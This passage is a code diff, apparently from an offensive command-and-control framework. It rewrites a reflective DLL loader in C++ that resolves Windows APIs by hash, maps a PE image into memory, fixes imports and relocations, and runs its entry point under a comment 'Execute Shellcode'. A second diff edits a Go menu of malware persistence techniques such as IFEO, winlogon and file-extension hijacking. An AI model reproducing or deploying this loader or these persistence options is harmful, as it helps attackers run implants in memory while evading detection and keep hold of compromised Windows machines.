(ULONG_PTR)&((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uValueC = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uValueB)->VirtualAddress); - - while(((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->Name) - { - // use LoadLibraryA to load the imported module into memory - uLibAddr = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uBaseAddr + ((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->Name)); - - // uiValueD = VA of the OriginalFirstThunk - uValueD = (uBaseAddr + ((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->OriginalFirstThunk); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uValueA = (uBaseAddr + ((PIMAGE_IMPORT_DESCRIPTOR)uValueC)->FirstThunk); - - // itterate through all imported functions, importing by ordinal if no name present - while(DEREF(uValueA)) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if(uValueD && ((PIMAGE_THUNK_DATA)uValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + ULONG_PTR uBaseRelocRVA = ((ULONG_PTR)lpVirtualAddr + ((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->VirtualAddress); + ULONG_PTR uRelocEntry = (ULONG_PTR)lpBaseRelocDir + sizeof(IMAGE_BASE_RELOCATION); + + // Number of entries in this relocation block + DWORD dwNumOfEntries = (((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + while(dwNumOfEntries--) + { + if(((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_DIR64) { - // get the VA of the modules NT Header - uExportDir = uLibAddr + ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uNames = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uExportDir = (uLibAddr + ((PIMAGE_DATA_DIRECTORY)uNames)->VirtualAddress); - - // get the VA for the array of addresses - uAddresses = (uLibAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfFunctions); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uAddresses += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY )uExportDir)->Base) * sizeof(DWORD)); - - // patch in the address for this imported function - DEREF(uValueA) = (uLibAddr + DEREF_32(uAddresses)); + *(ULONG_PTR*)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += uOffset; } - else + else if(((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_HIGHLOW) { - // get the VA of this functions import by name struct - uValueB = (uBaseAddr + DEREF(uValueA)); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uLibAddr, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uValueB)->Name); + *(DWORD *)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += (DWORD)uOffset; + } + else if(((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_HIGH) + { + *(WORD *)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += HIWORD(uOffset); + } + else if( ((PIMAGE_RELOC)uRelocEntry)->type == IMAGE_REL_BASED_LOW) + { + *(WORD *)(uBaseRelocRVA + ((PIMAGE_RELOC)uRelocEntry)->offset) += LOWORD(uOffset); } - // get the next imported function - uValueA += sizeof(ULONG_PTR); - if(uValueD) - uValueD += sizeof(ULONG_PTR); - } - // get the next import - uValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); - } - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uLibAddr = uBaseAddr - ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - // check if their are any relocations present - if(((PIMAGE_DATA_DIRECTORY)uValueB)->Size) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uValueC = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uValueB)->VirtualAddress); - // and we itterate through all entries... - while(((PIMAGE_BASE_RELOCATION)uValueC)->SizeOfBlock) - { - // uiValueA = the VA for this relocation block - uValueA = (uBaseAddr + ((PIMAGE_BASE_RELOCATION)uValueC)->VirtualAddress); + uRelocEntry += sizeof(IMAGE_RELOC); + } - // uiValueB = number of entries in this relocation block - uValueB = (((PIMAGE_BASE_RELOCATION)uValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + lpBaseRelocDir = lpBaseRelocDir + ((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->SizeOfBlock; + } +} - // uiValueD is now the first entry in the current relocation block - uValueD = uValueC + sizeof(IMAGE_BASE_RELOCATION); +SEC(text, B) VOID Entry() +{ + + // Get this base address. + // LPVOID lpBaseAddr = ReflectiveCaller(); + ULONG_PTR uBaseAddr = 0x00; - // we itterate through all the entries in the current block... - while(uValueB--) - { - if(((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_DIR64) - { - *(ULONG_PTR*)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += uLibAddr; - } - else if(((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_HIGHLOW) - { - *(DWORD *)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += (DWORD)uLibAddr; - } - else if(((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_HIGH) - { - *(WORD *)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += HIWORD(uLibAddr); - } - else if( ((PIMAGE_RELOC)uValueD)->type == IMAGE_REL_BASED_LOW) - { - *(WORD *)(uValueA + ((PIMAGE_RELOC)uValueD)->offset) += LOWORD(uLibAddr); - } + PPEB pPeb = (PPEB)PPEB_PTR; - // get the next entry in the current relocation block - uValueD += sizeof(IMAGE_RELOC); - } + // ----------------------------------------------------------------------------- + // Get modules and functions + // ----------------------------------------------------------------------------- + + HMODULE hNtdll = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_NTDLL); + if (!hNtdll) + { + return; + } + HMODULE hKernel32 = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_KERNEL32); + if (!hKernel32) + { + return; + } + HMODULE hUser32 = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_USER32); + if (!hUser32) + { + return; + } - // get the next entry in the relocation directory - uValueC = uValueC + ((PIMAGE_BASE_RELOCATION)uValueC)->SizeOfBlock; - } - } + Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_LOADLIBRARYA)); + Procs::LPPROC_GETPROCADDRESS lpGetProcAddress = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_GETPROCADDRESS)); + Procs::LPPROC_MESSAGEBOXA lpMessageBoxA = reinterpret_cast(Procs::GetProcAddressByHash(hUser32, HASH_FUNC_MESSAGEBOXA)); + Procs::LPPROC_VIRTUALALLOC lpVirtualAlloc = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_VIRTUALALLOC)); + Procs::LPPROC_VIRTUALPROTECT lpVirtualProtect = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_VIRTUALPROTECT)); + Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE lpNtFlushInstructionCache = reinterpret_cast(Procs::GetProcAddressByHash(hNtdll, HASH_FUNC_NTFLUSHINSTRUCTIONCACHE)); + + lpMessageBoxA(NULL, "Test", "Test", MB_OK); + + // ----------------------------------------------------------------------------- + // Allocate virtual memory + // ----------------------------------------------------------------------------- + + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uBaseAddr + ((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew); + + LPVOID lpVirtualAddr = lpVirtualAlloc( + NULL, + pNtHeaders->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE + ); + if (!lpVirtualAddr) + { + return; + } - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uValueA = (uBaseAddr + ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.AddressOfEntryPoint); + PIMAGE_SECTION_HEADER pSecHeader = IMAGE_FIRST_SECTION(pNtHeaders); - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + MEMCPY( + (LPVOID)(lpVirtualAddr + pSecHeader[i].VirtualAddress), + (LPVOID)(uBaseAddr + pSecHeader[i].PointerToRawData), + pSecHeader[i].SizeOfRawData + ); + } + + // ----------------------------------------------------------------------------- + // Resolve IAT (Import Address Table) + // ----------------------------------------------------------------------------- + + PIMAGE_DATA_DIRECTORY pImageDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (!pImageDir->VirtualAddress) + { + return; + } + ResolveIAT( + lpVirtualAddr, + (LPVOID)(lpVirtualAddr + pImageDir->VirtualAddress), + lpLoadLibraryA, + lpGetProcAddress + ); + + // ----------------------------------------------------------------------------- + // Reallocate image + // ----------------------------------------------------------------------------- + + pImageDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (!pImageDir) + { + return; + } + ReallocateSections( + lpVirtualAddr, + (LPVOID)pNtHeaders->OptionalHeader.ImageBase, + (LPVOID)(lpVirtualAddr + pImageDir->VirtualAddress), + pNtHeaders + ); + + // ----------------------------------------------------------------------------- + // Set protections for each section + // Reference: + // https://github.com/Cracked5pider/KaynLdr/blob/01887b038fac5ebb459eb6200c522173fce57cf6/KaynLdr/src/KaynLdr.c#L70 + // ----------------------------------------------------------------------------- + + LPVOID lpSec = nullptr; + SIZE_T dwSecSize = 0; + DWORD dwProtect = 0; + DWORD dwOldProtect = PAGE_READWRITE; + + for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + lpSec = (LPVOID)(lpVirtualAddr + pSecHeader[i].VirtualAddress); + dwSecSize = pSecHeader[i].SizeOfRawData; + + if (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + { + dwProtect = PAGE_WRITECOPY; + } + if (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + { + dwProtect = PAGE_READONLY; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + ) { + dwProtect = PAGE_READWRITE; + } + if (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + dwProtect = PAGE_EXECUTE; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + ) { + dwProtect = PAGE_EXECUTE_WRITECOPY; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + ) { + dwProtect = PAGE_EXECUTE_READ; + } + if ((pSecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && + (pSecHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + ) { + dwProtect = PAGE_EXECUTE_READWRITE; + } + + lpVirtualProtect(lpSec, dwSecSize, dwProtect, &dwOldProtect); + } - ((DLLMAIN)uValueA)((HINSTANCE)uBaseAddr, DLL_PROCESS_ATTACH, NULL); + // ----------------------------------------------------------------------------- + // Execute Shellcode + // ----------------------------------------------------------------------------- - return uValueA; + Procs::LPPROC_DLLMAIN lpDllMain = reinterpret_cast((ULONG_PTR)lpVirtualAddr + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + lpNtFlushInstructionCache((HANDLE)-1, NULL, 0); + lpDllMain((HINSTANCE)lpVirtualAddr, DLL_PROCESS_ATTACH, NULL); } diff --git a/pkg/common/parser/amtaskcommand.go b/pkg/common/parser/amtaskcommand.go index 985820e..9d108b9 100644 --- a/pkg/common/parser/amtaskcommand.go +++ b/pkg/common/parser/amtaskcommand.go @@ -645,10 +645,10 @@ func (c *amTaskPersistCmd) Run( "screensaver", "default-file-extension-hijacking", "ifeo", + // "scheduled-task", + "winlogon", // "netsh", - // "schedule", // "service", - "winlogon", "(cancel)", } res, err := stdin.Select("Technique", items)